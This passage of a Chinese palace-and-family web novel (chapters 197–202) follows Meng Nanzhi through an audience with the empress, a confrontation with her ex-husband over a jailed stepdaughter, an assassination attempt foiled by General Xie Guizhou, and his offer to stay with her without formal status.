因为,她觉得,母亲好像更优秀。
想到这里,沈朝昭看向孟南枝,眼中闪烁着熠熠光辉。
“母亲,您也给我安排一些事情做吧,我想学些本领,像大哥和二哥那样,能够独当一面。”
孟南枝闻言,眼中闪过一丝欣慰与赞许。
没有什么比子女主动要求学习更重要了。
她轻轻抚摸着沈朝昭的发顶,柔声道:“好,昭儿有此心志,母亲很是欣慰。从明日起,你便跟着母亲一起学习吧。”
无论是琴棋书画,还是权谋之术,只要女儿愿意学,她自会倾囊相授。
沈朝昭重重地点了点头。
到了孟府,哄着女儿先去洗漱后,孟南枝的眸色才沉下来。
怪不得上次萧临渊会特意在她面前提及普寿寺雷火一事,原来是在试探她。
想到父亲所说萧临渊还在核查沈卿知那名郎中,与洪太医所制疫病药方一致一案。
孟南枝伏到案前,写下名贴,递给月芹,“送去宗人府。”
该给皇后请安了。
第197章 谢家从不信鬼神之说
因着天气变凉,坤宁宫的冰块在太子出京那日就撤了。
孟南枝被于嬷嬷请进去的时候,窗门大开,往屋里涌着淡淡的凉气。
怕热的皇后谢清沅身着石青色绣如意云纹的织金褙子,夹杂着花白银丝的发间插着九鸾赤金步摇。
端坐在主位之上,眸色乍一看很平和,但细看之下,便能品出所含的沉静与锐利。
“臣女南枝拜见皇后娘娘,给皇后娘娘请安。”
孟南枝依旧保持作为臣女该有的恭敬,跪地行礼。
谢清沅面色温和,同她招手,“南枝快起来,这边坐。”
“谢娘娘。”孟南枝依言在她身侧坐了半边软凳。
谢清沅轻拉着她一只手,语气关切,“本宫本来也是想唤你过来坐坐的,倒不想让你先送了贴子。你父亲可还好?”
孟南枝言辞温顺,“回娘娘的话,父亲得洪太医医治,已无大碍。”
她昨日让月芹往宗人府送完贴子后,父亲到了晚宴时便依约回了府中。
谢清沅沉静的眸子稍动,“你父亲被隔离一事并非圣上所愿,实在是朝中局势复杂,不得已才作此安排。如今孟相既已无碍,想来皇上也放心了。”
皇后亲自与她解释,孟南枝却不能多言其他。
她连忙俯身屈膝,态度恭谨,“父亲病症与疫症确有几分相似,圣上此番也是为父亲身体考虑,幸得圣上厚爱,特派了太医诊治父亲才得以医治。”
“臣女与父亲都感念圣上恩德,如今父亲已无恙,定会尽心为朝廷效力,不负圣上厚爱。”
“本宫就知道你一向是个明事理的。”谢清沅微微颔首,目光中带着几分赞许。
孟南枝垂眸浅笑,姿态温婉得体,“娘娘谬赞了,臣女不过是尽本分罢了,能得娘娘这般夸赞,是臣女的福气。”
谢清沅抬手虚扶她起来,“你这孩子,还是这么客气。今日见本宫,可是遇到了什么难处?”
孟南枝坐在她身侧,言辞温顺,“臣女近日确实遇到了些烦心事,想请皇后娘娘拿个主意。”
谢清沅轻轻拍了拍她的手背,“本宫还是那句话,有难处只管说与本宫听。”
屋内没有外人,除了她与孟南枝,便剩下于嬷嬷。
孟南枝眸中染了些许雾气,“娘娘您也知道,臣女溺水后的那几年不记得前事,幸得普寿寺师尼所救、屠戎将军寻得后,才得以回京与父亲团聚。”
“对于普寿寺的师尼,臣女一直心存感激,不想前几日奕王殿下他突然告诉臣女,普寿寺中了雷火,所有师尼葬身火海。”
“臣女实在是难以接受这样的噩耗,整日心神不宁,夜里也总是被噩梦惊醒。”
孟南枝说到此处,擦了擦潮湿的眼角,突然跪地哽咽道:“娘娘,臣女梦见师尼们围在臣女的枕边念叨,说臣女不该回京,只怪臣女为她们惹来了祸事。”
“她们还说要报复臣女,让臣女的父亲得上疫病,让臣女的子女不得好死,让臣女的对手女儿攀上高枝、荣登凤位。”
本静静听她诉说的谢清沅,眸色突然一凛,旋即又恢复了温和之色。
她将孟南枝扶起,柔声道:“南枝,梦魇之语,何足为信?普寿寺的师尼们皆是慈悲为怀之人,即便遭遇不幸,又怎会怪罪于你?”
孟南枝眼尾泛红道:“娘娘,臣女也知道这不过是梦,只是当父亲被太医诊为疫病刹那,实难自持。直到父亲被洪太医医治好,臣女这颗悬着的心才稍稍放下。”
“可那噩梦却如影随形,时不时便在臣女脑海中浮现,搅得臣女日夜不得安宁。臣女实在是不知该如何是好,这才厚着脸皮来求娘娘指点迷津。”
谢清沅语气温和,“梦总归是梦,不足为惧。本宫手上这串佛珠是经高僧开过光的,你且拿去,平日里多念念经文,心绪自会慢慢平静下来。”
“这佛珠跟着本宫多年,也算有些灵气,能护你几分周全。”谢清沅说着,便将佛珠戴在了她手上。
孟南枝抚摸着佛珠,眸中满是感激,“多谢娘娘厚爱,臣女定当好好珍视这串佛珠,每日虔诚诵经,以解心中烦忧。”
谢清沅颔首,“如此便好。你父亲如今已无大碍,你也要多顾着自己些,莫要被这些虚幻的梦魇扰了心神。”
孟南枝俯身应是。
两人又拉了
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几句家常,谢清沅便以小歇为由,让于嬷嬷送她出宫。
出了皇宫,阳光正浓。
孟南枝抬起手腕,对光看着那串泛着润泽的佛珠轻笑。
真幸运。
谢家从不信鬼神之说。
于嬷嬷重回坤宁宫时,谢清沅正眸色深重地看着桌案上的一块袖帕。
她暗叹一声,忙是轻步走过去,“娘娘。”
谢清沅回过神,轻撂眼帘,“收起来吧。”
这块袖帕,是她弟弟谢归舟出京前,被她逼着交出来的。
圣上与孟父情非寻常。
孟南枝又是她看着长大的。
谢清沅没有女儿,对孟南枝的性子和聪慧,她是打小就喜欢。
若孟南枝与弟弟同龄,自己或许还会抢先一步让她与弟弟订婚。
可偏偏她比弟弟年长,早早便成了婚,还育有三个孩子。
与镇北侯的感情更是闹得满城风雨。
但她那不争气的弟弟,竟然敢当着那么多京都贵女夫人的面说心悦于她。
圣上一直觉得亏对谢家,在得知弟弟心悦孟南枝后,还隐晦地问她,要不要将孟南枝配婚给弟弟。
正好孟南枝的三个孩子也可记作谢家子,也算是为谢家留了后。
她怎会同意!
于嬷嬷将袖帕收好后,小心翼翼道:“娘娘,孟姑娘的话……”
轻按额头,谢清沅眸色难明,“刑部那边对普寿寺的调查有结果了吗?”
她岂会不知普寿寺一事是假的。
只是不想点透罢了。
偏偏为了不让圣上介怀,她还只能帮撒了谎的弟弟瞒着。
于嬷嬷摇头,“还没有。”
因为疫病,只怕路上会有耽搁。
谢清沅颔首,“再派些人盯着奕王。”
她们都深知孟南枝的对手,便是林婉柔。
林婉柔的女儿,恰好攀上了奕王。
她身为皇后,太子一日不登高位,她就一日不可能松懈。
什么梦魔。
不过是想借她的手压制奕王罢了。
偏偏为了太子,她这做母后的还不可能不做。
谢清沅默了几息,又对于嬷嬷吩咐道:“去把宛宁叫来。”
第198章 沈卿知的温柔
从皇宫出来后,孟南枝没有直接回孟府。
而是去了之前次子沈砚珩和江鱼的那家武馆。
疫情基本结束,流民也在有持续的散去。
街市上百姓渐多,武馆也开了门。
不算很大的武场上,一长一幼正在一招一式地比画,年长者还在不时地指点年幼者的动作。
孟南枝看得认真,便未出声打扰。
直到两人的比画告一段落,年长者才看到孟南枝带着月芹进来。
忙走过来拱手道:“请问夫人到此是有何事?”
孟南枝虽说穿着素雅,但其容貌出众,气质非凡。
他们这群跑江湖的,一看就知道她出身高贵,出言自然带着几分敬重。
孟南枝望了眼旁边架上摆放的各式各样的武器,温声道:“听说你们有位耍鞭的师傅。”
“是,不知您是……”
年长者皱眉,他们前几日因为两个少年才输了一方鞭法。
那鞭法还没还回来,又来一个寻鞭法师傅的,他很难不联想这中间有没有什么干系。
孟南枝解释,“老丈,您莫要误会,我家小女一直对鞭法比较感兴趣,不知道你们这里有没有会鞭法的女师傅,我想请她教一教小女。”
原本是由江鱼教女儿鞭法。
如今江鱼走了,女儿的鞭法也就停滞下来。
孟南枝不想让女儿半途而废。
但女儿如今年纪又稍大,请男师傅又不方便,孟南枝只得看看能不参寻一位女师傅。
年长者摇了摇头,“没有,我这里都是些糙汉,没有女师傅,夫人还是去他处再寻寻吧。”
对方言语虽然客气,却带着疏离。
孟南枝没有强求,看了眼那个眼睛一直盯着她的瘦弱男孩,笑着点头道:“那便不打扰了,若有女师傅的消息,还望老丈差人告知孟府一声。”
孟府?
年长者垂下眉,难道是孟相那个孟府?
眼前这个,是孟府的千金,镇北侯的前妻,如今……
孟南枝言罢,正欲转身离开时,却见贾掌柜一脸得意地从正门走出来,身后还跟着恭恭敬敬的一个主事人。
贾掌柜一见到孟南枝,便狗腿似的跑过来,“夫人,您怎么来了?这是寻卑职有事?”
孟南枝摇问,没有问怎么会在这里,直接讲出自己的需求。
贾掌柜闻言轻扫了眼年长者,笑道:“夫人,卑职倒是认识一个会鞭的妇人,不知您是否愿意让她一试?”
孟南枝眼睛一亮,“有你推荐,自然可以,只是不知她现在何处?”
谢归舟的人,她还信得过。
贾掌柜道:“就在京城,不过此事卑职还需和她说一声,回头我便将她送入孟府。”
孟南枝点头,“也好。”
等孟南枝带着月芹回到孟府时,沈卿知端坐于正位,正温和地同沈朝昭说着话。
“朝昭,为父记得你一直喜欢学鞭,特地为你请了一位教鞭的师傅。”
厅堂内,还站着一名精干的男人。
孟南枝蹙眉,“沈卿知,你来做什么?”
沈卿知面色温和,“南枝,你回来啦?我这许久未见朝昭,特地来看看她。”
“母亲。”沈朝昭站起来走到孟南枝面,轻轻挽住她的胳膊。
昨日晚上母亲便同她说了,今日要去给皇后娘娘请安。
她特意睡了懒觉,听母亲的话,在府等她。
没想到却等来了父亲。
她本以为父亲来是指责她,怪她害得陆筝筝入狱的。
哪想一向不关心她的父亲突然对她关切倍至。
问她在孟府住得**不习惯,要不要回沈府居住。
还破天荒地为她请了一位教鞭的师傅。
沈朝昭感觉父亲这温柔的软糖里,怕不是下了什么**。
孟南枝轻拍女儿的手背,目光淡然地看着沈卿知,“起来。”
沈卿知皱眉,在孟南枝冷漠的眼神下,站起身,准备落坐于另一侧。
孟南枝看着他的动作,喝止道:“要么,坐在下面。要么,你就站着。”
孟家的主位,还轮不到他来坐。
沈卿知的动作僵在原地,强压着怒气道:“南枝,我们好歹夫妻一声,你为何总是这么咄咄逼人?”
他到底也是她曾经的夫君,她也曾经以他为尊。
怎么现在却变成这个样子,完全不近人情。
孟南枝示意月满换了张软垫,才在主位上坐下,“说吧,你来到底是所谓何事?”
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>沈卿知看着丫鬟拿走的软垫,眸中情绪更加翻滚。
忍了几忍,他才压下来,尽量放缓了语气,轻声道:“南枝,我这次来,确实是想探望下朝昭,还有岳丈大人。”
孟南枝打断他话,眸中皆是厌恶,“沈卿知,请你放尊重一点。我已与你和离,我父亲乃是当朝右相,岂是你能攀附关系的?”
“南枝,我在得知孟相大人得了疫症后,没日没夜地寻了名郎中,就是希望能够研制出医治疫病的药物,诊治孟相。南枝,我……”
沈卿知面色青白,即便被责斥,也依旧压着火气。
孟南枝了解沈卿知,若非怀揣目的,他必然忍不下去。
当下便嘲讽道:“如果我没记错的话,镇北侯你在我父亲生病这几日,可从未来探望过,如今说得这么般情深意切,倒像是比我这个做女儿的还要上心几分。”
“林婉柔和林尚书大人若看到你这副嘴脸,你说他们是气还是不气?”
沈卿知鼻息重了几分,嘴角颤了两下,从齿间发出声音,“南枝,这跟他们没有关系,我是真心想要孟相得以痊愈。”
对于沈卿知说的话,孟南枝是半个字都不信。
她冷哼一声,眸中满是不屑与疏离,“沈卿知,你我彼此也算了解,你若有事就说事,无事便别在我面前碍眼,回吧,我孟府并不欢迎你。”
沈卿知吃了一噎,难受之极。
他攥紧了拳手,强逼着自己忍下火气。
“南枝,我知道你还在生我和婉柔的气,可我真的只是想弥补。这些时日,我也一直在反思,确实是我这个做父亲的亏待了孩子,你埋怨我都是对的。”
“我这次为朝昭请师傅,也是真心希望她能学有所成。”沈卿知说到此处,看向沈朝昭的目光中便是溢出的慈爱。
偏生沈朝昭看不到里面的真心,她垂下眸子,心中五味杂陈。
她其实是盼着父亲关心她的,但父亲如今的关心,好像并不纯粹。
孟南枝听不得他的啰嗦,也见不得他如此恶心的做派。
决定不再搭理她,起身轻握女儿的手腕,“昭儿,走。”
沈卿知见状,这才道出所来目的,“南枝,放过筝筝吧。”
第199章 孟南枝被刺,谢归舟救人
“不放。”
孟南枝停下脚步,眸色如冰,“我说你怎么会无故道殷勤,原来是为了这个。”
沈卿知语气难得地充满了耐心,“南枝,筝筝那么小,必然不会做出**之事,更不会去陷害朝昭。”
他那日从城门回府后,亲自到尚书大人家里告了罪。
可此前对他和颜悦色的尚书大人,这次却是严厉地批评了他。
斥责他藐无法纪,还以家风不正、难当大任为由停了他的职,让他滚回府休整仨月。
仨月。
两个月后便是科举,等他休整完,他想做誊录官的梦,就全都灭了。
他正发愁如何破局,被叫去牢狱林婉柔又回来和他说,孟南枝为了报复她,特地让陆朝昭去狱中探望筝筝,诬陷筝筝陷害她。
害得筝筝被杖刑三十,差点命都没了。
沈卿知又恼又气,想责斥林婉柔,还偏觉得她说得有道理。
这确实像孟南枝和陆朝昭那蛮横性子能干出来的事。
毕竟陆筝筝被他看着长大,那么善良,怎么会干出陷害陆朝昭的事。
但他们眼下并无解救之策。
沈卿知便想用迂回的方法,看能不能说服孟南枝更改言辞,放陆筝筝出来。
想到此处,沈卿知又慈爱地看向沈朝昭,“朝昭,筝筝待你情同姐妹,从前在府上也总是让着你,你应该知道她最不可能陷害你。”
“你母亲这十年不在京中,不了解情况。你和你母亲说一下,这其中必有误会。”
沈卿知觉得从女儿身上下手,应该要比劝慰孟南枝要容易得多。
孟南枝太过铁石心肠。
沈朝昭鼻尖发酸地垂下头,漂亮的杏眼里全是失望。
父亲来这一出,还不如上来责骂或打她一顿,抽她两鞭子呢。
为了陆筝筝,低声下气地来同她说好话。
还寻了曾经自己求都求不来的教鞭师傅,过来妄图以此让她心软,去求母亲放过陆筝筝。
这哪里是关心她,分明是把她的感情当成了可以交易的筹码。
她沈朝昭是渴望父爱,但却一点也不想要这样的父爱。
孟南枝拉着沈朝昭的手又紧了几分,冷冷地瞥向沈卿知,“沈卿知,十年不见,你的脑子怕是全都被狗吃了。”
“人证物证俱全的事,你也敢来颠倒黑白,还妄图利用昭儿来达成你的目的,当真是无耻至极。”
“你多动动你那猪脑子想一想,即便此事不是陆筝筝做的,身为她母亲的林婉柔又岂能脱得了干系?”
“沈卿知,你若再被权势一直迷花了眼,不好好走脚下的路,只怕到最后连**的都不知道。”
沈卿知面色一阵青白,他知道孟南枝不会给他好脸色,却没想到孟南枝会如此不留情面,如训狗一样骂他。
他张了张嘴,想要反驳,却又找不到合适的话语。
孟南枝被污清白一事,确实有太多疑虑。
他当初也不是没有怀疑过林婉柔,但那时他正需要她,不能深查。
如今查出来的却是陆筝筝,他能怎么办。
沈卿知眉心挤出一个川字,尽量语气平和,“南枝,我知道你心中有气,但你也不能如此绝情。筝筝她毕竟还小,她……”
“小?都已经及笄,哪里还小。沈卿知,我不可能放过任何一个欺辱我和欺辱我子女、家人的人。”
孟南枝冷笑一声,“陆筝筝是,林婉柔是,包括你,也是。”
说罢,孟南枝带着女儿完全不再理他,走出厅堂。
一路到院子,沈朝昭都在垂着头。
孟南枝看她情绪不高,暗叹一声,领着她走到小花园。
小花园里菊花似锦,微风吹过,散发阵阵芬芳。
孟南枝蹲下身子,看着面前的花枝,柔声道:“昭儿,你知道怎么养花吗?”
沈朝昭摇头。
这种粗活,她哪里干过。
她只知道怎么摘花。
孟南枝握住她的手,让她同自己一起蹲下,指着一株叶片枯萎的花枝,温声道:“你瞧,这花看起来枝繁叶茂,实则根须早已腐坏,这几根枯叶占着养分,整株花都会慢慢**。”
孟南枝将枯枝直接折断,声音柔软却异常坚定,“留着它们,只会害了它往后的花期。”
沈朝昭抬手摸着并不平整的断枝,陷
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入深思。
她知道,母亲在教她。
孟南枝看着女儿的动作并未阻止,而是继续说道:“养花和做人,是一样的道理。若一个人的心里生了坏根,你做得再好,他都会视而不见。”
“就像这根枯枝,看似连着干,实则早已腐朽,汲取不到半分暖意,只会消耗你的心力。这花想要年年芬芳,就得舍得剪去坏枝。”
“我们若想一辈子过得舒心顺遂,就得果断舍弃不爱我们的人。该断不断,只会让这‘腐朽’缠上我们,毁了我们的光景,磨了我们的心志。”
孟南枝这番话,即指爱情,又指亲情。
沈朝昭抬起头,复杂的眸色当中带着不解的懵懂,“母亲,您说的我明白。可他是父亲啊,能断得掉吗?”
孟南枝轻摸女儿的头,“昭儿,血缘虽断不掉,可情分能。他若无大错,你们便尊他为父。他若有大错,你们即便身为儿女,也该正确纠之。”
“若他心里没你们这些儿女,只是觉得你们可用时,露出一点慈爱来拿捏你们,那这所谓的父女情分,也不过是一层虚伪的皮罢了。”
“母亲与你父亲和离,便是希望你们能够不被过往纠缠。你和你的哥哥,都不必为了这层皮,委屈自己。”
沈朝昭点头,“我知道了,母亲。”
她虽然眼下还不能不到,但她会朝着母亲所说的方向努力。
天色渐晚,夕阳画出一道道绚丽的霞光。
孟南枝站起身来,轻轻拍了拍沈朝昭的肩膀,“昭儿,回去吧。”
只是还没待她站稳,一个瘦弱的人影便拿着一把**从花丛中冒出来,冲着她的胸膛刺过去。
“母亲!”
刚抬头的沈朝昭抬手想要保护母亲,去推孟南枝,但已经来不及。
眼见刀尖就要刺到孟南枝的心口,又一道人影从身后飞过来,一手握刀将那瘦弱人影踹开,一手将孟南枝整个人环抱了起来。
身体悬空,紧紧贴服的后背传来强壮有力的跳动声。
孟南枝抬头对上对方不加掩饰的灼烈视线,瞳孔收缩。
谢归舟?
他怎么回来了?
第200章 你怎么没离开?
谢归舟身着粗布短打,戴着斗笠,掩了半张脸。
明显是悄悄回来,不想让人知道。
孟南枝没出声,对他扬了扬下巴。
谢归舟便将她放下,长腿轻抬,直接跃走了。
因为太过紧张站起来又倒下的沈朝昭,忙爬起来走到孟南枝面前,“母亲,您没事吧?”
“我没事。”孟南枝摇头。
“那是谁?”
沈朝昭抬头瞧了眼连背影都已经看不到的谢归舟。
总觉得身影看着熟悉,又想不起来在哪见过。
孟南枝没回应,低头看向行刺她的那个人。
是名少年,赵佩兰的儿子。
谢归舟的那一脚力气很大,少年痛得蜷缩成一团,头埋进肚子里,冷汗直流,痛得发不出声音。
沈朝昭也没纠结,确定母亲没事,抬脚踩在少年身上,气呼呼地道:“是谁指使你来刺杀我母亲的?”
少年痛得泪流满脸,嗷嗷叫道:“她杀了我娘,她该死,我要杀了她。”
“谁杀你娘了,你休要污蔑人。”沈朝昭又一脚踩上去。
院门口的奴仆已经慌慌张张地跑过来,“夫人,您没事吧?是小的不好,没看好院子,让贼人闯了进来。”
孟南枝看了眼少年,冷声道:“把人绑起来。”
几个奴仆连忙利落地将他给绑了起来,送到前院厅堂。
孟南枝端坐主位,抿了口茶,“你是想在这里说?还是想去牢狱说?”
被绑后的少年似乎醒了神,方知道了害怕,吞咽着口水道:“在,在这里说。”
“怎么进来的?”孟南枝询问。
少年的声音带着吱唔,“我,我钻狗洞进来的。”
花园的奴仆闻言连忙躬身退下,他得去检查一下,看那洞是不是没堵好。
孟南枝继续追问,“同伙呢?”
“没,没同伙,就我一个人。”少年缩了缩脖子。
“没同伙也敢独闯我孟家的宅子?你这凶器哪来的?”孟南枝拎起桌案上的**扔在他的腿边。
刀刃差点砍到他的膝盖,少年吓得又是一缩,“我,我路上捡得。”
“没同伙,还是一个人,又刚好捡了把刀来刺杀我。”孟南枝开口时语气温柔,却瞬间冷若寒冰,“来人,直接把他送进应天府!”
孟南枝言罢,几个壮仆便过来拽着少年出去。
少年边挣脱,边哭喊道:“我说,我说,是我表舅让我来的。我表舅说我娘被你杀了,我要替我娘报仇。”
沈朝昭站起身,喝斥道:“我母亲从未杀过人,你再胡说信不信我拔了你的舌头!”
孟南枝嗔了她一眼,沈朝昭脑子一僵,连忙坐下来。
习惯以势压人了,忘了母亲在场。
少年满目泪痕,“我娘是孟相妾室的表侄女赵佩兰,我表舅说我娘进了孟府之后再也没有出去。我姨祖母还被你们赶出了孟府,就是你们害了我娘。”
沈朝昭听到此处,看了眼母亲。
胡姨娘离府她听二哥提了一嘴,但没深说。
她回来在孟府住的这几日,也一直没有见过那个赵佩兰。
该不会真被母亲给……
孟南枝手指轻叩桌案,声音平淡道:“你见到你母亲的尸体了?”
少年一愣,嘟嗫道:“那倒没有,可是,我娘就是找不到,肯定是你们害了她。”
孟南枝反问:“你表舅有没有和你说你娘为什么来孟府?”
少年红着眼睛,“我表舅说我娘是来探望祖姨母的。”
“没说实话。”孟南枝对刘嬷嬷轻抬下巴。
刘嬷嬷厉声道:“拖下去,打到说实话为止。”
少年声音凄惨,“我说的都是实话,我娘就是来探望祖姨母的。”
刘嬷嬷依旧示意奴仆把他拖下去棍打。
十几棍下去,少年气息微弱,却依旧坚持,“我说的都是实话。”
孟南枝微微点头,刘嬷嬷对奴仆吩咐道:“把他送到应天府,就说他无故刺杀孟相的千金。”
沈朝昭站起来,“母亲,我去吧,我是人证。”
孟南枝看了眼女儿,浅笑道:“好,让月芹同你一起。”
没有月芹跟着,她担心知夏和知秋由着女儿乱跑。
“好。”沈朝昭杏眼透亮。
她本想试试,没想到母亲真的同意。
至于月芹跟不跟着,她倒没有多想。
女儿离开没多久,刘嬷嬷派去一直守在“三月客栈”的奴仆便绑了一名彪汉过来。
奴仆将他踢跪到孟南枝面前,摘了他嘴里的破抹布。
彪汉咧咧骂道:“你们凭什么抓我?”
孟南枝眸色如冰,“胡启明,你说为什么抓你?”
胡启明被道出姓名,当下便知事情不妙,他那傻侄子肯定被抓了。
眼神闪烁间,他陪笑道:“夫人,咱是亲戚,我来京里就是专门拜访您的。”
孟南枝端起茶栈,
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掀起茶盖轻抚茶沫,“你知道多少?”
“什么多少?我听不明白。”胡启明垂下头装傻。
“不知道?”孟南枝轻笑,直接挑明道:“赵佩兰的事,还有几个人知道?”
胡启明眼珠直转,“夫人,我是陪着侄子来探望姑母和表姐的,这些时日一直没见着,您能不能让我见见她们。”
孟南枝鼻息微哼,唇角微微上调。
刘嬷嬷立马大声喝斥道:“不见棺材不掉泪,给我拉出去狠狠地打。”
二十杖棍下去,胡启明终于软了骨头,哆嗦着嘴唇道:“是我,是我让侄子来的。”
“我去狱中看了我爹,我爹和我说让我来找表姐,看表姐有没有攀附上孟相,若攀附上了孟相,就让孟相和县令打个招呼,放我爹出去。”
“我带着侄子去找姑母,却被姑母赶走。我就悄悄跟着姑母,发现姑母每日忙完都不回孟府。觉得肯定是出事了,又查找不到表姐。”
“若是表姐不能成事,那我爹就只能一直在牢狱待下去。所以我就和侄子说,表姐肯定是被孟家害了。”
孟南枝冷笑,“既然说是被孟家害了,为什么偏偏找上我?”
胡启明悄悄抬眼看了一下孟南枝,正对上她如刀刃的视线,又连忙垂下头。
“你是孟家独女,若说谁最不能容忍孟家再有子嗣,那肯定是夫人您。”
呵!
只这一句话,孟南枝便起了身。
刘嬷嬷眼神阴霾,“把他给我毒哑,打断双手,送去应天府。”
竟敢如此污蔑她家夫人。
夫人盼望着多一个亲人的心,比谁都强烈。
巴不得能多一个兄弟姐妹。
身为世家的孩子,谁不盼着孟家子嗣兴旺。
也只有这些心思不正的人,想得龌龊。
孟南枝出了正厅,看了眼偏上树梢的月亮。
“父亲回来了吗?”
月满摇头,“还没有。”
孟南枝再问:“珩儿呢?”
江鱼走后,次子便带着观棋一起跟着他丈量京都的街道小巷距离,说是要把地图画得更精确一点。
月满再次摇头,“也还没有。”
孟南枝微微颔首,“和厨房说一下,晚上再上饭。”
“是。”月满应下。
孟南枝独自回到院子,上了阁楼。
只是在推开门的刹那,脚步微顿,又连忙关上了门。
“将军,你怎么没离开?”
第201章 我可以不要名分
素雅的闺阁内,光线昏暗。
谢归舟姿态僵硬地站在正中央。
他在这里已经足足站了一个多时辰。
从天色稍暮,到月上枝头。
抬眼望去,全是孟南枝日日朝朝所用的一切。
每一次呼吸,鼻息间都是难以把持的蔷薇香,缠绕得他快喘不过来气。
他不敢动一下,生怕自己的触碰会成为对她的玷污,只能僵硬地站着,用尽全身力气去克制内心的翻涌。
楼梯间的脚步声他不是没听见,只是他的心实在是抬不动他的脚。
怎么也走不掉。
对上孟南枝清亮的视线,谢归舟耳根稍红,牵强解释:“我等孟相。”
那应该是到父亲的房间等。
孟南枝默默吐槽了一句,到底是没有多说揭穿他,点亮烛火,对他示意道:“坐。”
谢归舟这才在椅子上坐下来,目光落在她清艳的脸上,温柔几乎溢出眼眶。
他的喉结不自觉地滚动了一下,声音带着几分沙哑,“你没事吧。”
“我没事,倒是你,把手伸出来让我看看。”
孟南枝轻轻摇头,从柜子里取出药箱,拿出绷带和伤药。
那把刀刃上带有血迹,孟南枝便知道谢归舟又因为他受伤了。
这欠了一茬又一茬的情,真是难还。
谢归舟顺从地把手放在桌案上,掌手朝上,果真有一截伤口。
孟南枝细心地为他上药,并包扎好,“山城那边现在怎么样了?修儿还好吗?”
谢归舟点头,“都挺好,修儿进步很大,已经能独当一面了。”
他此次是秘密回来,除了太子,没有任何人知道。
沈砚修那小子每天都要和母亲写一封信,也不寄,说要收藏起来等回了京念给母亲听。
若是知道他回来,只怕也慌着想要回京。
至于沈砚修受伤一事,他在寄给孟相的信中已经全部告知。
想来孟南枝也已知道,便未再深讲。
孟南枝面露笑意,微微点头,“由太子殿下和将军照料,修儿有所长进是必然之事,只是辛苦你们了。”
长子给她的信中,报喜不报忧。
她还担心未经磨炼的长子,不通人情世故,做事**躁,会给他们添麻烦。
如今听到谢归舟这么说,倒是放了心。
“嗯。”
谢归舟轻应了一声,眼帘轻垂,长长睫毛打下一片阴影,“镇北侯可是在找你麻烦?”
孟南枝抬眉,“你偷听我讲话?听了多久?”
“没有,是不小心听到的。”谢归舟撇开视线,耳根泛红,“半个时辰。”
他快马加鞭,比预算的时间,提前了两个多时辰。
天色未暗,不好进入皇宫。
便想着先过来看看她。
没想到正好碰到她与沈卿知起争执。
不放心,就多听了两句。
“没有下次。”孟南枝起身将药箱收起来。
“没有下次。”谢归舟点头,跟着她站起来。
烛光打在两人的身上,影子似在并肩相拥。
孟南枝回过身,鼻尖差点撞在他的胸膛上,呼吸间全是清洌的松脂香,忍不住眉头直跳,“你坐下。”
谢归舟眉眼生了笑,再次顺从地坐下来,目光却始终追随着她的一举一动。
孟南枝将药箱归置回原处,转身见他仍凝视着自己,眼帘微垂。
再开口,语气带了两分质问:“将军把当初污蔑我的那个师尼放了?”
谢归舟眸色稍僵,指尖蜷了蜷,轻声道:“是。”
孟南枝语气平和,“曹宛宁安排的人?”
谢归舟握指成拳,再次点头,“是。”
孟南枝心提了一下,没再继续问下去。
萧临渊没骗她。
他早就知道,反而瞒了她。
谢归舟看着孟南枝,眸色复杂。
他该怎么和她说,这件事最终的主谋实际上是他的姐姐,皇后娘娘谢清沅。
姐姐所做的一切,只是不想孟南枝对他产生情感。
更不希望他娶孟南枝为妻。
他出京前,更是因此被姐姐责斥,逼着他抛下和她有关的所有物件。
一时之间,两人均未再开口讲话。
烛火照耀的房间内,多了几分令人静默的窒息。
“你。”
“你。”
两人
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同时开口。
孟南枝浅笑道:“将军先说。”
谢归舟看她不达眼底的笑意,只觉喉间苦涩难耐,充满歉意道:“对不起,这件事,是我的错。”
“将军严重了。”孟南枝轻轻摇头,神色平静如水,“当初也是由您为我解了围,算不上您的错。”
她走到窗边,推开窗棂,看了眼父亲院子里亮起的光影,未曾回头,轻声道:“我父亲回来了,将军过去吧。”
谢归舟听着略带疏离的语气,低头看着才被她细心包扎过的手掌,心中五味杂陈。
他站起身,重新戴上斗笠,遮了眉眼。
走到门口,脚步顿了顿,又拐至她的身侧站定,语气中带了几分询问。
“南枝,你,是不是误会我什么了?”
他所了解的孟南枝,不会无缘无故问他这些话。
孟南枝扭头对上他的视线,深邃的瞳孔里可以清晰地看到自己的影子。
想到自回来后,所经历的这些事。
觉得谢归舟确实值得信赖后,孟南枝朱唇轻启,直接问道:“为什么查到后,不直接告诉我?”
那句暗卫是不是他送给曹宛宁的话,到底还是忍着未曾说出口。
谢归舟没有回避,“我审问过,曹宛宁安排那师尼过去,本只是想促进你能接纳曹国公府,愿意同曹景行婚配。”
孟南枝联想前因后果,便接受了谢归舟的这个说法。
当时的情况,确实有很多地方不合常理。
在马夫人引出师尼证实自己十年间的下落不明后,曹宛清没再说话,玫姨却依旧接受力挺她。
这不符合一位当家主母,对待择媳上的态度。
谢归舟见她眉头松懈下来,提着的心也跟着放下来,语气温柔。
“南枝,我有私心,不想你同曹景行在一起,但又不想做小人,故意说出来离间你们。”
孟南枝蹙眉,“我记得我说得很清楚,不会再婚。”
和他不会,和曹景行更不会。
“我知道。”谢归舟垂下眼帘,看不清里面的情绪。
半晌,他才低喃一声,“如果你能接受,我可以不要名分。”
第202章 谢归舟,你疯了!
“谢归舟,你疯了!”
孟南枝后退一步,整个人埋入阴影里。
不要名分,便是外室。
大衍哪有男子做外室的先例。
尤其是谢归舟身份尊贵,还是谢家如今仅存的男嗣。
谢归舟没有步步逼近,站在原地语气平和而坚定道:“南枝,我很清醒。”
在山城的这些时日,他只要静下心,就一直在考虑该怎么处理他和孟南枝的关系。
他知道孟南枝的决定一时很难更改。
但让他放手,是绝对不可能的。
不要名分,是唯一能打破现状,留在她身边的方式。
他一直觉得自己会难以启齿,但他没想到自己真的说出口时,内心反而平静下来。
“南枝,我……”
孟南枝打断他的话,“你别说。”
她现在一个字也听不进去。
谢归舟斗笠下的目光紧紧锁住她,唇角略带苦涩,“好,我不说。”
孟南枝:“你出去。”
“好。”谢归舟静默了几息,转身往外走。
阴影下的孟南枝盯着他略显消瘦的背影,停留在他的腰下,“你,真伤了?”
谢归舟回头,顺着她的目光落在自己腰下,眸色闪动,重重地点头。
“是,所以没有子嗣压力,也不会对修儿他们的未来造成任何影响。”
孟南枝走出阴影,月光打在她的脸上,清亮坚定的眸色第一次带了动摇,“谢归舟。”
“嗯。”谢归舟往前走了一步,与她贴近。
不管是拒绝,还是斥责,他都能接受。
只是孟南枝想开口说的话,却被从应天府回来的沈朝昭彻底打断。
